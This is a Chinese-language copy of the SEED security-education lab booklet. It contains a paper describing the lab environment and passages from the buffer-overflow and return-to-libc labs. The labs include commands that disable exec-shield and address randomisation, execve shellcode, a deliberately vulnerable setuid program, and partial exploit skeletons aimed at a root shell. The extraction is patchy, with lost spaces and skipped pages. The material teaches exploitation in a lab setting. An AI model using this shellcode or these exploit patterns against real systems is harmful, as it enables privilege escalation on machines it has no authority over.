SEED:一套计算机安全教育的教学实验机制

ip攻击  时间:2021-02-24  阅读:()

杜文亮(Du,Wenliang),Ph.
D.
AssociateProfessor纽约雪城大学(SyracuseUniversity),电子工程与计算机科学系,USA.
Email:wedu@syr.
eduTel:+1315-443-9180URL:http://www.
cis.
syr.
edu/~wedu/seed/蒋建春(Jiang,Jianchun)Ph.
D.
AssociateProfessor中国科学院软件所文伟平(Wen,Weiping)Ph.
D.
AssociateProfessor北京大学软件与微电子学院内容列表1、实验环境设置:在SIGCSE'07文件中描述12、漏洞和攻击实验(1)缓冲区溢出漏洞实验8(2)Return-to-libc攻击实验15(3)格式化字符串的漏洞实验23(4)竞争条件漏洞实验27(5)Chroot沙盒漏洞实验31(6)TCP/IP攻击实验34(7)DNS域欺骗攻击实验36(8)跨站脚本攻击实验403、设计/实现实验(1)基于角色的访问控制实验44(2)权能实验50(3)加密文件系统实验54(4)地址空间布局随机化实验61(5)Set-RandomUID实验(一个简单的沙盒)65(6)IPSec实验67(7)防火墙实验744、探索实验(1)Set-UID特权程序实验78(2)SYN-Cookie实验825、下载数据统计86颜色说明棕:小型实验,需要两个小时的课堂监督实验或一周的课后作业时间蓝:中型实验,需要一至二周时间绿:综合实验(最好作为期终项目),需要四至六周时间1CopyrightStatementCopyright2006–2009WenliangDu,SyracuseUniversity.
ThedevelopmentofthisdocumentisfundedbytheNationalScienceFoundation'sCourse,Curriculum,andLaboratoryImprovement(CCLI)programunderAwardNo.
0618680and0231122.
Permissionisgrantedtocopy,distributeand/ormodifythisdocumentunderthetermsoftheGNUFreeDocumentationLicense,Version1.
2oranylaterversionpublishedbytheFreeSoftwareFoundation.
Acopyofthelicensecanbefoundathttp://www.
gnu.
org/licenses/fdl.
html.
版权声明本文档是美国国家科学基金会(NSF)资助的科研项目的成果.
所有版权归本项目的研究员杜文亮和雪城大学拥有.
使用者在遵守版权协议的条件下可以拷贝,散发,和修改本文档.
我们使用GNUFreeDocumentationLicense作为版权协议.
本协议的最重要的一点如下:使用者在拷贝,散发,和修改本文档时不能删掉或修改本版权声明.
详细的协议可以在http://www.
gnu.
org/licenses/fdl.
html找到.
2SEED:一套计算机安全教育的教学实验机制Wenliang(Kevin)Du纽约雪城大学,电子工程与计算机科学学院,CST楼4-206Email:wedu@ecs.
syr.
eduTel:315-443-9180URL:http://www.
cis.
syr.
edu/~wedu/seed/摘要为了向学生提供计算机安全教育实践练习,我们开发了一个实验环境(SEED).
它基于虚拟机、Minix和Linux,所有这些软件都免费供教学使用.
基于这个环境,我们开发了10个实验,覆盖了广泛的安全性原理.
过去四年中,我们已经在三门课程中使用了这些实验.
本文介绍了我们的SEED实验环境、SEED实验以及我们的评价结果.
分类和主题描述K.
3.
2【计算机与信息科学教育】:计算机科学教育一般条款计算机安全关键字安全,实验,教学操作系统1、介绍人们早就认识到了实践在理论学习中的重要性,勒温(1951)主张学习过程中应积极主动参与;皮亚杰(1952)声称学习是个人与环境互动的结果.
计算机科学家德宁(2003)也指出,如果我们忽视实践,我们的领域(计算)将终结,就如二十世纪六十年代计算被认为是一门新的数学一样地失败.
全是概念没有实践,将只有死路一条.
人们也认识到了计算机科学教育中实验的重要性.
像操作系统、编译、网络等传统课程已经广泛采用了有效的实验练习.
然而,处于萌芽阶段的计算机安全教育,尚未采用广泛的实验练习.
虽然也有一些很好的个人实验【5,6,8】,但是它们覆盖的安全性原理较为狭窄,很多重要的安全性原理、概念以及创新思想都未被覆盖.
此外,现存的实验是由不同的人开发,基于多种不同的实验环境(不同的操作系统、软件等).
通常,学习一个新的实验环境是一项艰难的任务.
如果老师想要使用多个实验,那么学生就需要学习好几个不同的实验环境,对于一个学期的课程这是不现实的.
为了填补上述安全教育方面的空白,我们提出了一个通用实验环境,以及一份安全教育所必须的全面的实验活动清单.
我们称这个实验环境为SEED环境(SEcurityEDucation),每个实验类型一个实验.
SEED有很多吸引人的特性:(1)SEED是一个通用环境,它支持各种不同的实验,覆盖了广泛的安全性概念和原理,以及重要的安全工程技能.
它为安全教育提供了一个共同的实验室环境.
(2)SEED基于已被证明的教学方法,其核心环境包括一个教学操作系统,使用教学操作系统已被计算机科学的传统课程证明是有效的,如操作系统、网络等课程【2,3,9】.
本项目是第一次将这样的教学方法应用于安全教育.
(3)SEED是一个低成本的环境,可以在学生自己的计算机上使用免费软件搭建.
基于SEED环境,我们为计算机安全教育开发了十个实验.
在过去的四年中,我们曾在三门课程中使用这些实验,包括网络安全、计算机安全、计算机安全导论.
前两门是研究生课程,后一门是本科课程.
学生完成每个实验后我们都做了评估,结果很令人振奋.
本文中,我们将介绍SEED实验环境,环境的搭建,以及各种实际问题(见第二部分).
还将介绍我们开发的一套SEED实验及随之获得的经验(第三部分).
最后,我们3将汇报评估结果.
2、SEED实验环境我们的实验设计目的是要求学生在每个实验中进行以下一个或几个任务:(1)探索(或试用)一个现存的操作系统安全组件;(2)修改一个现存的安全组件;(3)设计并实现一个新的安全功能;(4)测试一个安全组件;(5)找出操作系统漏洞,并研究这些漏洞.
其中一些任务不用看源代码就能进行,因此可以在大多数现代操作系统上进行;然而一些任务,比如2、3,可能还有4(对于白盒测试),需要读/写代码,使用作业操作系统(如Linux,Windows)对这些任务而言并非有效的方法.
学生需要对付的绝大多数安全组件都不是孤立的,它们与操作系统里其他组件相互作用,如文件系统,进程管理,内存管理和网络服务.
学生要完成任务需要理解这些交互.
在一个学期内学懂这些作业操作系统里的交互对于普通学生来说是不可能的.
这一挑战不仅仅存在于安全教育中,传统计算机科学的老师们在面对这一问题时选择了平台作为课程项目的工具.
实践产生了一个成功的教学方法,即使用教学系统.
举例而言,操作系统和网络课程经常使用Minix[9],Nachos[2],Xinu[3]等教学操作系统,编译课程经常使用如miniJava[1]等教学语言.
这些系统只为教学目的开发,和作业操作系统不一样,它们没有那么多花哨的功能,仅仅包含了为教学目的设计所必须的组件.
因此,不像作业操作系统动辄数百万行代码,教学操作系统只有几万行代码.
传统计算机课程已经证明,在教学过程中学会这些系统组件之间的交互是可行的[2,3,9].
教学系统的使用允许学生应用所学知识和技能对系统进行管理,因此使得他们在教学过程中保持了积极的参与.
为了达到设计目的,我们在SEED环境中使用两类操作系统.
一类运行Minix教学操作系统,针对需要学生读、理解以及修改源代码的实验,我们使用Minix作为平台,因为支持代码相关的任务是教学操作系统的优势.
在SEED环境中我们同样也使用了作业操作系统(我们选择了Linux),作业操作系统提供了丰富的安全机制,我们主要在探索型实验中使用.
在作业操作系统中,学生试用其安全体系以了解其工作机制以及漏洞如何发生.
学生不用去读或修改这些系统的源代码.
虚拟机(VirtualMachines):为了可以在一个通用计算机环境里方便地运行Minix和Linux(有时二者同时运行),我们使用虚拟机技术.
学生可以用物理机(称为主机)构造虚拟机(称为客户机),主机是通用的计算平台,每个客户机可以运行自己的操作系统,如Minix和Linux.
客户机和主机可以组成虚拟网络.
所有这些都可以用虚拟机软件实现,如VMware和VirtualPC.
VMware最近成立了一个学术项目,使得所有VMware软件许可证对于教育用途免费.
由于Minix和Linux也是免费的,所以构建SEED环境的软件花费为零.
由于有了虚拟机技术,SEED实验环境不再需要物理实验室.
学生可以在自己的机子上搭建整套的SEED环境.
我们在班上做了一个调查,85%的学生实际上更愿意用自己的机器完成实验作业,而另15%的学生认为用自己的机器也可以,但是更乐意用公共的机器做实验.
另一个方法是在公共实验室安装虚拟机.
然而,由于每个虚拟机需要300MB到1GB的磁盘空间,这对公共机器硬盘提出了较高的要求,对许多研究机构而言不现实.
对于这个问题有一个简单的解决办法:只要让学生购买一个移动硬盘(不超过100美元),他们可以将虚拟机存储到移动硬盘里,这样就可以在任意的公共机器上构建虚拟环境做实验了.
3、SEED实验基于SEED实验环境,我们开发了两类实验:实现型实验和探索型实验.
(1)实现型实验的目标是为学生提供应用安全性原理4进行设计和实现系统的机会.
由于这些实验需要编码,我们使用Minix作为平台.
(2)探索型实验的目标有两个:首先是通过观察、试用和探索加强学生的学习,让他们了解安全性原理在实际系统中的实际应用.
第二个目标是为学生提供应用安全性原理分析和评价系统的机会.
供学生探索的目标操作系统包括基本操作系统(Minix和Linux)以及我们在实现型实验中构建的系统.
我们已经在课堂上开发及使用了十个不同的实验,限于篇幅,我们将挑选其中三个详细介绍,其他的给出简短摘要.
3.
1Set-UID实验这一实验的学习目标是为了让学生观察Set-UID安全机制在Minix系统中如何工作,了解Set-UID程序里的程序流如何导致系统受到损害,以及认识现代操作系统如何基于脆弱的Set-UID程序抵御攻击.
Set-UID是Unix系统的一个重要安全机制.
当Set-UID程序运行时,它假定当前权限是程序所有者的权限.
例如,如果程序所有者是root用户,那么当任何人运行此程序,在执行期间此程序将获得root用户的权限.
Set-UID使得我们可以去做很多有趣的事情,然而不幸的是,它也是许多攻击的罪魁祸首.
在这个探索实验中,学生的主要任务是在Minix和Linux系统中试用Set-UID机制,报告并解释他们的发现,分析一些Set-UID行为在Linux中和Minix中为什么会不同.
特别的,他们需要完成以下任务:任务1(理解Set-UID):指出chsh,passwd,和su命令为什么需要是Set-UID程序;使用Minix源码,指出Set-UID在操作系统中如何实现,以及它如何对访问控制产生影响.
任务2(Set-UID程序的潜在风险):库函数系统(constchar*cmd)可用于在程序中执行命令,系统(cmd)工作的方式是调用/bin/sh程序,然后让shell程序执行cmd.
由于shell程序被调用,因为执行者通过setuid程序可以获得root权限,所以在Set-UID程序里调用system()是极度危险的.
这是因为shell程序的实际行为会受环境变量的影响,如路径(PATH),这些环境变量受用户控制.
通过改变这些变量,恶意用户可以控制Set-UID程序的行为.

为使学生了解这类攻击,给了一个只简单调用系统ls的Set-UID程序,这个程序本应执行/bin/ls命令,但是程序员忘记了对ls命令使用绝对路径.
学生需要找到欺骗Set-UID程序使之执行另一个命令而非/bin/ls的方法.
此任务需要在Minix和Linux两个系统中都完成.
任务3(二选一):为了说服学生永远不要使用system()而要用execve(),给了两个Set-UID程序.
第一个只简单调用系统ls,第二个将system()用不会调用shell程序的execve()代替.
学生需要在Minix和Linux系统中运行这两个程序,并对观察到的现象作出解释.
任务4(另一个潜在的风险):为了更安全,Set-UID通常会调用setuid()系统调用用于永久放弃它们的root权限.
然而,在特定情况下这是不够的.
例如,当程序已经使用root权限打开了一个文件(如密码文件),则在程序失去root权限后仍然可以访问该文件,因为文件描述符仍然有效.
因此,即使权限已经被剥夺,系统仍然可能被入侵.
为验证上述情况,给学生一个Set-UID程序(由于篇幅限制省略具体程序),让他们运行并解释观察到的现象.
经验:这个实验需要一至两周完成.
学生对这个实验很感兴趣,尤其好奇Minix和Linux二者的区别.
例如,在任务2中,学生首先感到惊讶的是看到了Linux和Minix不同,它对攻击免疫.
许多学生对此很好奇,他们开始努力找出Linux系统受保护的原因.
他们探讨了各种可能性,最终追踪到了对shell程序/bin/sh的保护,其默认为被调用时自动剥夺Set-UID的权限.
关于这项保护措施大家在课堂上进行了大量的讨论.
从这个实验中,我们最大的收益是学习到了"比较研究"的好处.
并非为安全课程专门设计的Minix教学系统安全能力远远低于Linux系统,两者之间有很多安全性方面的不同.
我们将会5继续使用这种比较策略开发以后的实验.
3.
2权能实验这个实验的学习目标是让学生应用权能(capability)概念增强系统安全性.
Unix系统中有许多特权程序(如Set-UID程序),当它们被任一用户所运行时,都拥有root权限.
换句话说,运行中的程序拥有root所拥有的所有特权,但实际上,并非所有这些权限都被目标任务所需要.
这种设计显然违反了一个基本的安全工程原则,即最小权限原则.
违反的后果是,如果这些程序中有漏洞,攻击者可能利用这些漏洞滥用root权限.
权能可以用来代替Set-UID机制.
在TrustedSolaris8中,root权限被分割成80个小的权能,只分配给每个特权程序必须的权能,而不是给予root权限.
Linux中也开发了一个类似的权能系统.
在一个权能系统中,当一个程序被执行,它的相关进程被权能(令牌)清单初始化.
当该程序试图访问目标时,操作系统会检查它的权能,以决定是接受还是拒绝访问.
在本实验中,学生需要为Minix实现一个简化的权能系统.
所需的权能:为了能在短时间完成本实验,我们只定义了5个权能.
由于我们的简化,这5个权能并未覆盖root的全部权限,所以它们不能完全替代Set-UID.
它们仅适用于恰好只需要我们所定义的权能的子集的特权程序.
对于这些程序,它们不需要被配置成为Set-UID程序,而可以使用我们的权能系统作为替代.
我们的系统支持以下权能:1.
CAP_READ:允许读文件和目录.
它可重写文件和目录存取控制列表(ACL)的阅读限制.
2.
CAP_CHOWN:重写对文件和组所有权进行变更的限制.
3.
CAP_SETUID:允许将有效用户变为另一个用户.
我们知道,当有效用户id不是根用户时,调用setuid()和seteuid()更改有效用户会受到一定限制,此项权能重写了这些限制.
4.
CAP_KILL:允许结束任何进程.
一个进程真正的或有效的用户id发出信号必须与其接受信号相匹配,它重写这一限制.
5.
CAP_SYS_REBOOT:允许重启系统.
我们有意使得上述权能的描述含糊不清.
如果不认真设计,遵循上述描述的系统可能会有漏洞.
例如,必须对CAP_SETUID权能加以限制,否则一个拥有此权能的进程就能获得所有其它权能.
学生有责任识别上述描述中潜在的漏洞并进一步阐明.
管理能力:一个进程应该可以管理它自己的权能.
例如,在一个进程中当一个权能不被需要时,进程应该能永久或暂时移除此权能.
因此,即使进程被控制,攻击者仍然不能获得特权.
本实验中,学生需要实现一份标准功能清单,包括禁止/允许权能(暂时),删除,分发和调用权能(永久).
经验:在课堂上使用此实验之前,我们预计学生在弄明白系统调用在Minix系统中的工作机制,以及Minix数据交换组件与其它系统的不同(Minix是一个微内核的操作系统,组件使用信息交换数据)上会有困难.
我们已经编制了相关的文档为学生提供帮助,学生也发现这些文档相当有用.
然而,我们没有预料到另一个难题:学生们花费了大量时间去搞清楚如何以i-nodes形式存储信息.
我们判定这项任务对于计算机安全而言并非是必须的,因此我们编制了另一份文档详细描述说明如何操作i-node数据结构.
3.
3IPSec实验本实验的目的是为了让学生结合各种安全原理加强网络安全知识.
IPSec是实现这一目的很好的备选方案.
IPSec是由IETF开发的一套支持IP层包安全交换的协议,它已经被广泛发展用于实现虚拟专用网(VPNs).
IPSec的设计与实现需要结合网络、加密、密钥管理、验证以及OS核心的安全等知识.
在本实验中,学生需要在Minix系统中实现IPSec,同时要演示如何使用它建立虚拟专用网.
IPSec包括一套复杂的协议,对6一个课程项目来说完全实现是不可能的.

因此本实验的重点不在于掌握IPSec所有的细节,而在于各种安全原理的结合及应用,在不影响学习目的的前提下可以做一些简化.
首先,IPSec有两类报头(ESP和AH),它们分别有不同的模式(Tunneling和Transport),本实验中学生仅需以Tunneling模式实现ESP报头.
其次,IPSec支持大量加密算法,本实验中我们仅用到AES加密算法.
第三,IPSec中有很多细节来确保各种操作系统间的互操作性,由于互操作性不是本实验所关注的焦点,我们让学生忽略这个问题,而是允许他们采取合理的措施简化互操作性.
第四,在IPSec中,计算机有两种方法协商共享密钥:一个是使用IKE(InternetKeyExchange)协议,另一个是通过手动配置.
本实验中,学生仅需要实现第二个方法,即我们采取共享密钥由系统管理员在两端手动设置.
经验:有了这样的简化,大部分学生在5周之内完成了本实验.
此外,让我们最感兴趣的是,学生的积极性很高.
学生们将他们的积极性归因于这个实验是建立在IP协议栈的基础之上,可以学习IP协议的内部结构已经让很多学生着迷,更不用说还能修改它以增强安全性了.
绝大多数学生将这一经验写进了简历里,他们告诉我们说,招聘者对他们在这个实验中所做的工作印象相当深刻.
这印证了我们想法:当安全实验是基于有意义的有用的系统,如TCP/IP,操作系统等时,学生就会很感兴趣.
我们的权能实验和加密文件系统实验同样也印证了这一想法.
3.
4其它实验加密文件系统(EFS):本实验学习目标是让学生演示证明如何为系统加密以保护其机密性.
EFS是一种机密文件保护机制,当文件存储器(如硬盘、闪存)丢失或被盗时,它保护文件不被损害.
EFS在文件系统中设置了加密,因此文件被从存储器读或写之前会实时地加密/解密.
这个过程对用户是透明的.
EFS已经在许多操作系统中实现,包括Solaris,Windows,NT和Linux.
本实验中,学生需要为Minix实现EFS,需要4-5周时间完成.
基于角色的访问控制(RBAC):RBAC已成为高级访问控制的主要模式,已经在FedoraLinux和TrustedSolaris中实现.
我们将RBAC概念与权能实验相结合,得到一个更全面的实验.
沙盒实验:本实验的学习目的是让学生证实一个重要的安全工程原则:划分原则.
这一原则在计算机系统的沙盒机制中体现.
它的目的是提供一个安全的空间运行不可靠的程序.
几乎所有的unix操作系统都有一个简单的沙盒机制,叫做chrootjail.
在这个探索型实验中,我们设计了一系列任务用于帮助学生理解chroot的实现以及它所包含的漏洞.
另外四个实验:我们还开发了四个其它实验,包括一个为Minix实现扩展访问控制列表的实验,一个在Linux中探索可插入的身份验证模块的实验,一个探索Minix系统漏洞的实验,以及一个在Minix中实现简单沙盒机制的实验.
4、评估学生完成各个实验后我们进行了匿名调查,每个调查包含了若干陈述,学生需要选择他们对此陈述的赞同或不赞同程度.
他们有如下选项:(A)强烈反对,(B)不同意,(C)一般,(D)同意,(E)强烈同意.
对于Set-UID实验,capability实验和IPSec实验所做调查的部分结果如图1至5所示.
每个实验平均有30个学生参与.
图1评估学生对辅助材料是否满意.
从图1(C)我们可以看到学生对IPSec实验的辅助材料很不满.
通过对学生的询问,我们了解到,由于缺乏文档,学生花费了大量的时间来理解Minix系统IP栈中包数据的内部流动.
我们判定这一部分对本实验的目标安7全原理而言并不重要,决定拓展辅助材料以减少在这一问题上花费的时间.
图2评估每个实验的难度.
数据表明大多数学生认为实验很有挑战性.
但是,从他们的表现来看,这些实验成功地使学生获得进步而没有让他们遭遇失败.
绝大多数学生在实验中都是成功的.
图3到5评估学生在实验中的看法,包括他们认为实验是否有趣,是否有价值,是否激发了他们对计算机安全的兴趣.
从结果来看,学生的反应是相当积极的.
图1:辅助材料是有用的图2实验有难度图3你对本实验很感兴趣图4实验对于本课程很有价值图5实验激发了你对计算机安全的兴趣5、结论及展望我们为计算机安全教育开发了一个通用实验环境.
SEED环境基于一个教学操作系统(Minix)和一个作业操作系统(Linux),可以在学生个人计算机或公共计算机上安装,无需软件开销.
基于SEED环境,我们开发了10个实验,在过去的四年中,我们在三门课程中测试了这些实验,评估结果相当令人满意.
另外两所大学已经开始在课堂上使用SEED环境及其实验,还有更多大学表示对于在课堂上采用我们的实验很感兴趣.
在将来的工作中,我们打算进一步改进现存实验,同时开发更多实验以更广泛地覆盖计算机安全的理论范围.
6、参考书目[1]A.
W.
AppelandJ.
Palsberg.
ModernCompilerImplementationinJava.
Number0-521-82060-X.
CambridgeUniversityPress,2ndedition,2002.
[2]W.
A.
Christopher,S.
J.
Procter,andT.
E.
Anderson.
TheNachosinstructionaloperatingsystem.
InProceedingsoftheWinter1993USENIXConference,pages481–489,SanDiego,CA,January,25-291993.
[3]D.
Comer.
OperatingSystemDesign:theXINUApproach.
PrenticeHall,1984.
[4]P.
J.
Denning.
Greatprinciplesofcomputing.
CommunicationsoftheACM,46(11):15–20,2003.
[5]J.
M.
D.
Hill,C.
A.
Carver,Jr.
,J.
W.
Humphries,andU.
W.
Pooch.
Usinganisolatednetworklaboratorytoteachadvancednetworksandsecurity.
InProc.
ofthe32ndSIGCSETechnicalSymposiumonComputerScienceEducation,Charlotte,NC,Feb.
2001.
[6]C.
E.
Irvine,T.
E.
Levin,T.
D.
Nguyen,andG.
W.
Dinolt.
Thetrustedcomputingexemplarproject.
InProc.
ofthe2004IEEE8SystemsManandCyberneticsInformationAssuranceWorkshop,June2004.
[7]D.
Kolb.
Experientiallearning:Experienceasthesourceoflearninganddevelopment.
PrenticeHall,EnglewoodClis,NJ,1984.
[8]W.
G.
MitchenerandA.
Vahdat.
Achatroomassignmentforteachingnetworksecurity.
InProc.
Ofthe32ndSIGCSEtechnicalsymposiumonComputerScienceEducation,Charlotte,NC,2001.
[9]A.
S.
TanenbaumandA.
S.
Woodhull.
OperatingSystemsDesignandImplementation.
PrenticeHall,2ndedition,1997.
计算机安全教育实验9缓冲区溢出漏洞实验1实验描述缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况.

这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段.
这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写.
2实验任务2.
1初始设置我们将攻击FedoraLinux系统.
Fedora里有三种保护机制使得缓冲区溢出攻击变得困难.
首先,Fedora使用执行屏蔽使得堆栈不被执行,因此,即使我们能够在堆栈里插入一个shellcode,它也不能运行.
第二,Fedora使用地址空间随机机制使得开始地址的堆和栈随机,这使得猜测确切地址有了难度,而猜测地址是缓冲区溢出攻击的一个重要步骤.
为了教学目的,本实验中,我们使用下面的命令禁用了这些功能:$surootPassword:(enterrootpassword)#/sbin/sysctl-wkernel.
exec-shield=0#/sbin/sysctl-wkernel.
randomize_va_space=0此外,为了进一步防范缓冲区溢出攻击及其它利用shell程序的攻击,许多shell程序在被调用时自动放弃它们的特权.
因此,即使你能欺骗一个Set-UID程序调用一个shell,也不能在这个shell中保持权限.
这个防护措施在/bin/bas中实现.
在Fedora中,/bin/sh实际是指向/bin/bash的一个符号链接.
为了重现这一防护措施被实现之前的情形,我们使用另一个shell程序(zsh)代替/bin/bash.
下面的指令描述了如何设置zsh程序:$suPassword:(enterrootpassword)#wgetftp://rpmfind.
net/linux/fedora/(continueonthenextline)core/4/i386/os/Fedora/RPMS/zsh-4.
2.
1-2.
i386.
rpm#rpm-ivhzsh-4.
2.
1-2.
i386.
rpmCopyright2006WenliangDu,SyracuseUniversity.
ThedevelopmentofthisdocumentisfundedbytheNationalScienceFoundation'sCourse,Curriculum,andLaboratoryImprovement(CCLI)programunderAwardNo.
0618680and0231122.
Permissionisgrantedtocopy,distributeand/ormodifythisdocumentunderthetermsoftheGNUFreeDocumentationLicense,Version1.
2oranylaterversionpublishedbytheFreeSoftwareFoundation.
Acopyofthelicensecanbefoundathttp://www.
gnu.
org/licenses/fdl.
html.
1计算机安全教育实验10#cd/bin#rmsh#ln-szshsh2.
2Shellcode在开始攻击之前,你需要一个Shellcode,Shellcode是登陆到shell的一段代码.
它必须被载入内存,那样我们才能强迫程序跳转到它.
考虑以下程序:#includeintmain(){char*name[2];name[0]=''/bin/sh'';name[1]=NULL;execve(name[0],name,NULL);}我们使用的shellcode是上述程序的汇编版.
下面的程序显示了如何通过利用shellcode任意重写一个缓冲区登录shell,请编译并运行以下代码,看shell是否被调用.

/*call_shellcode.
c*//*Aprogramthatcreatesafilecontainingcodeforlaunchingshell*/#include#includeconstcharcode[]="\x31\xc0"/*Line1:xorl%eax,%eax*/"\x50"/*Line2:pushl%eax*/"\x68""//sh"/*Line3:pushl$0x68732f2f*/"\x68""/bin"/*Line4:pushl$0x6e69622f*/"\x89\xe3"/*Line5:movl%esp,%ebx*/"\x50"/*Line6:pushl%eax*/"\x53"/*Line7:pushl%ebx*/"\x89\xe1"/*Line8:movl%esp,%ecx*/"\x99"/*Line9:cdql*/"\xb0\x0b"/*Line10:movb$0x0b,%al*/"\xcd\x80"/*Line11:int$0x80*/;intmain(intargc,char**argv){charbuf[sizeof(code)];strcpy(buf,code);((void(*)())buf)();}这段shellcode的一些地方值得注意.
首先,第三行将"//sh"而不是"/sh"推入栈,这是计算机安全教育实验11因为我们在这里需要一个32位的数字,而"/sh"只有24位.
幸运的是,"//"和"/"等价,所以我们使用"//"对程序也没什么影响,而且起到补位作用.
第二,在调用execve()之前,我们需要分别存储name[0](串地址),name(列地址)和NULL至%ebx,%ecx,和%edx寄存器.
第5行将name[0]存储到%ebx;第8行将name存储到%ecx;第9行将%edx设为0;还有其它方法可以设%edx为0(如xorl%edx,%edx).
这里用的(cdql)指令只是较为简短.
第三,当我们将%al设为11时调用了systemcallexecve(),并执行了"int$0x80".
2.
3有漏洞的程序/*stack.
c*//*Thisprogramhasabufferoverflowvulnerability.
*//*Ourtaskistoexploitthisvulnerability*/#include#include#includeintbof(char*str){charbuffer[12];/*Thefollowingstatementhasabufferoverflowproblem*/strcpy(buffer,str);return1;}intmain(intargc,char**argv){charstr[517];FILE*badfile;badfile=fopen("badfile","r");fread(str,sizeof(char),517,badfile);bof(str);printf("ReturnedProperly\n");return1;}编译以上易被攻击的程序并用setuid机制设置其有效执行用户为root.
你可以通过用root帐户编译并chmod可执行到4755来实现:$surootPasword(enterrootpassword)#gcc-ostackstack.
c#chmod4755stack#exit以上程序有一个缓冲区溢出漏洞.
它一开始从一个叫"badle"的文件读了一个输入,然后将这个输入传递给了另一个bof()功能里的缓冲区.
原始输入最大长度为517bytes,然而bof()计算机安全教育实验12的长度仅为12bytes.
由于strcpy()不检查边界,将发生缓冲区溢出.
由于此程序有效执行用户为root,如果一个普通用户利用了此缓冲区溢出漏洞,他有可能获得rootshell.
应该注意到此程序是从一个叫做"badle"的文件获得输入的,这个文件受用户控制.
现在我们的目标是为"badle"创建内容,这样当这段漏洞程序将此内容复制进它的缓冲区,便产生了一个rootshell.
2.
4任务1:攻击漏洞我们提供给你一段部分完成的攻击代码"exploit.
c",这段代码的目的是为"badle"创建内容.
代码中,shellcode已经给出,你需要完成其余部分.
/*exploit.
c*//*Aprogramthatcreatesafilecontainingcodeforlaunchingshell*/#include#include#includecharshellcode[]="\x31\xc0"/*xorl%eax,%eax*/"\x50"/*pushl%eax*/"\x68""//sh"/*pushl$0x68732f2f*/"\x68""/bin"/*pushl$0x6e69622f*/"\x89\xe3"/*movl%esp,%ebx*/"\x50"/*pushl%eax*/"\x53"/*pushl%ebx*/"\x89\xe1"/*movl%esp,%ecx*/"\x99"/*cdql*/"\xb0\x0b"/*movb$0x0b,%al*/"\xcd\x80"/*int$0x80*/;voidmain(intargc,char**argv){charbuffer[517];FILE*badfile;/*Initializebufferwith0x90(NOPinstruction)*/memset(&buffer,0x90,517);/*Youneedtofillthebufferwithappropriatecontentshere*//*Savethecontentstothefile"badfile"*/badfile=fopen(".
/badfile","w");fwrite(buffer,517,1,badfile);计算机安全教育实验13fclose(badfile);}完成以上程序后编译并运行,它将为"badle"生成内容.
然后运行漏洞程序栈,如果你的攻击正确实现,你将得到一个rootshell:$gcc-oexploitexploit.
c$.
/exploit//createthebadfile$.
/stack//launchtheattackbyrunningthevulnerableprogram##include#includeintbof(FILE*badfile){charbuffer[12];/*Thefollowingstatementhasabufferoverflowproblem*/fread(buffer,sizeof(char),40,badfile);return1;}intmain(intargc,char**argv){FILE*badfile;badfile=fopen("badfile","r");bof(badfile);printf("ReturnedProperly\n");fclose(badfile);return1;}编译以上易被攻击的程序并设置其有效执行用户为root.
你可以通过用root帐户编译并chmod可执行到4755来实现:$surootPasword(enterrootpassword)#gcc-ostackstack.
c#chmod4755stack#exit上述程序有一个缓冲区溢出漏洞,它先从一个叫"badfile"的文件里把一个大小为40bytes的输入读取到一个大小为12bytes的缓冲区,引起溢出.
fread()函数不检查边界所以会发生溢出.
由于此程序为有效用户身份设为root的程序,如果一个普通用户利用了此缓冲区溢出漏洞,他有可能获得rootshell.
应该注意到此程序是从一个叫做"badle"的文件获得输入的,这个文件受用户控制.
现在我们的目标是为"badle"创建内容,这样当这段漏洞程序将此内容复制进它的缓冲区,便产生了一个rootshell.
计算机安全教育实验182.
3任务1:攻击漏洞创建badle.
你可以用以下的框架创建:/*exploit_1.
c*/#include#include#includeintmain(intargc,char**argv){charbuf[40];FILE*badfile;badfile=fopen(".
/badfile","w");/*YouneedtodecidetheaddressesandthevaluesforX,Y,Z.
TheorderofthefollowingthreestatementsdoesnotimplytheorderofX,Y,Z.
Actually,weintentionallyscrambledtheorder.
*/*(long*)&buf[X]=someaddress;//"/bin/sh"*(long*)&buf[Y]=someaddress;//system()*(long*)&buf[Z]=someaddress;//exit()fwrite(buf,sizeof(buf),1,badfile);fclose(badfile);}你需要计算出这些地址的值,同时搞清楚它们存储在哪里.
如果位置计算错误,你的攻击将会无效.
完成上述程序后,编译并运行,它会为"badle"文件产生内容.
然后运行漏洞程序retlib.
如果你的攻击正确完成,当bof函数返回时,它会返回至system()libc函数,然后执行system("/bin/sh").
如果漏洞程序是以root特权运行,到这里你就可以得到rootshell了.
应该注意的是,exit()函数对于此攻击而言并非必须的,然而,若没有这个函数,当system()返回时,程序可能会崩溃,造成中断.
$gcc-oexploit_1exploit_1.
c$.
/exploit_1//createthebadfile$.
/retlib//launchtheattackbyrunningthevulnerableprogram##include#includeintmain(intargc,char**argv){charbuf[40];FILE*badfile;badfile=fopen(".
/badfile","w");/*YouneedtodecidetheaddressesandthevaluesforW,X,Y,Z*//*YouneedtodecidetheaddressesandthevaluesforW,X,Y,Z.
TheorderofthefollowingthreestatementsdoesnotimplytheorderofW,X,Y,Z.
*/*(long*)&buf[W]=someaddress;//system()*(long*)&buf[X]=someaddress;//addressof"/bin/sh"*(long*)&buf[Y]=someaddress;//setuid()*(long*)&buf[Z]=0;//parameterforsetuidfwrite(buf,sizeof(buf),1,badfile);fclose(badfile);}2.
5任务3:地址随机化现在,让我们打开Fedora的地址随机化.
我们进行与任务1中同样的攻击,你能得到shell吗如果不能,问题出在哪里地址随机化是怎样使你的攻击变得困难的在实验报告中描计算机安全教育实验20述你观察到的现象并解释.
你可以使用以下指令打开地址随机化:$surootPassword:(enterrootpassword)#/sbin/sysctl-wkernel.
randomize_va_space=13指南:理解函数调用机制3.
1找出libc函数的地址为了找出任一libc函数的地址,你可以使用下面的gdb命令((a.
out是任意程序):$gdba.
out(gdb)bmain(gdb)r(gdb)psystem$1={}0x9b4550}0x9a9b70从以上gdb命令,我们可以找出system()函数的地址是0x9b4550,exit()函数的地址是0x9a9b70.
系统里的实际地址可能会与此不同.
3.
2将shell字符串放入内存本实验的一个挑战是将字符串"/bin/sh"放入内存并获取地址.
可以通过环境变量来实现.
当一个C程序被执行,它从执行它的shell处继承所有的环境变量,环境变量SHELL直接指向/bin/bash并被其它程序所需要,因此我们引入一个新的shell变量MYSHELL并使之指向zsh.

